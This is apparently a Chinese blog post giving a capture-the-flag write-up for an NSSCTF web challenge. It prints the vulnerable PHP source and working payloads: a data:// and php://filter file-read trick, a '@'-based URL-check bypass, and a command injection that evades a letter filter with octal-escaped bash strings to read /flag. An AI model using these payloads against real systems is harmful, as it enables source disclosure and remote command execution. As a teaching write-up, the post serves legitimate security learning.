my blog

First Post:

Last Update:

没有特别的信息,看一下robots.txt,进入level1.php,file_get_contents()从文件中提取字符串,需要使用data://text/plain传入welcome to nssctf,file不能直接flag,但提示了level2.php,file=level2.php,得到

1
2
121.91.174.161:2368地址是你刘队博客,一定有网站有他的博客地址吧
不是一个正确的url

我进入刘队博客到处点了很久不知道下一步该干什么,再看”不是一个正确的url”,于是打开burp爆端口,没有效果,被提示抓level2.php源码,file=php://filter/convert.base64-encode/resource=level2.php得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (isset($_GET['url']) && preg_match('/^http:\/\/www.baidu.com/', $_GET['url'])) {
$content = @file_get_contents($url);
if ($content !== false && strpos($content, '121.91.174.161:2368') !== false) {
if (isset($_GET['cmd'])&&(!preg_match('/[a-zA-Z;&|`]/', $cmd))) {
system($cmd);
} else {
die("最后的绕过了");
}
} else {
die("什么网站里会有刘队博客地址呢");
}
} else {
die("不是一个正确的url");
}

url传入百度网址要跟上121.91.174.161:2368,

1
http://www.baidu.com@121.91.174.161:2368

接着是system命令,eval会解析取反异或等形式的命令,system不会,搜索找到$'\xxx'可以将八进制ascii码解析为字符,是特性,下载项目构建ls /cat /flag,($’\154\163’ $’\57’)($’\143\141\164’ $’\57\146\154\141\147’)

1
/level2.php?url=http://www.baidu.com@121.91.174.161:2368&cmd=$'\143\141\164' $'\57\146\154\141\147'